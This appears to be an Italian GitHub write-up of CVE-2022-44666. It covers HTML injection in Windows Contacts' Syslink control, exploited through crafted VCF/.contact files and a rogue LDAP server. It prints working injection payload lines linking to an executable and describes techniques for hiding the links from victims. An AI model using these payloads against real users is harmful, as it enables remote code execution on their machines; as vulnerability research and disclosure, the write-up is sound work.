j00sean/cve-2022-44666Analisi tecnica e proof-of-concept per CVE-2022-44666, una vulnerabilità di escape dell'attributo href nel controllo Syslink di Windows Contacts che consente l'esecuzione remota di codice tramite file VCF/.contact appositamente predisposti e il gestore di protocollo LDAP.
Questa è la storia di un altro 0day dimenticato, divulgato completamente più di 4 anni fa da [John Page (aka hyp3rlinx)][R.1]. Per capire il report, devi considerare che sono stupido :-) E la mia stupidità mi spinge a percorrere strade più lunghe per risolvere problemi semplici, ma mi porta anche a trovare altri modi per sfruttare alcuni bug. Perché dico questo? Perché non sono riuscito a capire subito che il modo per creare un file .contact è semplicemente navigare fino alla cartella Contatti per creare il contatto; invece di questo, ho usato queste informazioni per creare prima un file VCF e poi ho erroneamente pensato che fosse una sorta di variante. Questo anche perché il mio cervello non riesce a capire come alcuni 0day vengano dimenticati per così tanto tempo ¯\(ツ)/¯ Una volta fatto ciò e dopo le risposte "wontfix" di [MSRC][R.2] e [ZDI][R.3], sono state fatte ulteriori indagini per aumentare la gravità, arrivando infine ai file .contact e al gestore di protocollo URL di Windows "ldap".
Mentre stavo leggendo il codice dell'exploit per [questa vulnerabilità][R.4] che è stata effettivamente rilasciata come 0day ed è possibile trovare il [rapporto di ZDI][R.5].
Aggiornamento 2022/07/21: Dopo aver segnalato questo caso a Microsoft, i ragazzi di MSRC mi hanno giustamente fatto notare che Windows Contacts non è il programma predefinito per aprire i file VCF.
Ulteriori ricerche dimostrano comunque che il programma predefinito per i file VCF su Win7 ESU e WinServer2019 è Windows Contacts (wab.exe), altrimenti viene usato MS People (PeopleApp.exe). Ecco una tabella completa di questo test:
In ogni caso, insistono sul fatto che ci sia un po' di social engineering coinvolto, come aprire un file VCF appositamente predisposto e cliccare su alcuni link per sfruttare il bug, quindi non soddisfa i criteri MSRC per un aggiornamento di sicurezza.
Aggiornamento 2022/07/25: Bene, dopo ulteriori ricerche, è lo stesso bug. Alla fine sono riuscito a trovare una proof of concept per .contact. In realtà è possibile analizzare correttamente un file .contact usando entità HTML. Nota che questo risolve il problema precedente (Aggiornamento 2022/07/21) e questo formato di file (.contact) viene aperto da Windows Contacts, programma predefinito per questa estensione di file, anche quando MS Office è installato nel sistema. Serve solo una prima associazione di file se non è ancora stata fatta, ma l'unico programma installato per impostazione predefinita per farlo è Windows Contacts.
Aggiornamento 2022/07/25: Questa ulteriore ricerca mi ha portato a un punto che cercavo di raggiungere da tempo: usare un gestore di protocollo URL per aprire automaticamente dati di contatto appositamente predisposti e sfruttare il bug. Alla fine sono riuscito a farlo funzionare grazie allo schema URI ldap, che è associato per impostazione predefinita all'applicazione Windows Contacts. Quindi, basta configurare un server LDAP rogue e servire i dati del payload negli attributi mail, url o wwwhomepage; l'impatto dello sfruttamento aumenta perché ora non serve fare doppio clic su un file VCF/Contact malintenzionato: possiamo fornirlo tramite protocolli URL.
Aggiornamento 2023/02/08: Come gesto di buona volontà da parte di MSRC, [John Page (aka hyp3rlinx)][R.1] è stato incluso nella pagina dei ringraziamenti per la scoperta di [CVE-2022-44666][R.10].
La segnalazione è sostanzialmente la stessa dei link sopra, tuttavia ho migliorato un po' il social engineering coinvolto. In effetti, la prima cosa che ho fatto è stata migliorare il modo in cui i link vengono visualizzati, proprio come se fosse una vulnerabilità XSS; in realtà è un'iniezione HTML, quindi è possibile chiudere il primo elemento anchor e inserirne uno nuovo. Poi, ho voluto rimuovere la visibilità di quegli elementi HTML, quindi impostare un "innerHTML" il più lungo possibile sarebbe bastato a nasconderli (a causa dei limiti di caratteri).
Questo è il payload finale usato:```html URL;WORK:">CLICKMEEEEE...
Per osservare cosa succede, esegui procmon e configura un target fittizio per l'attributo href in questo modo:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Una volta cliccato il link, in procmon si osserva un output come questo:
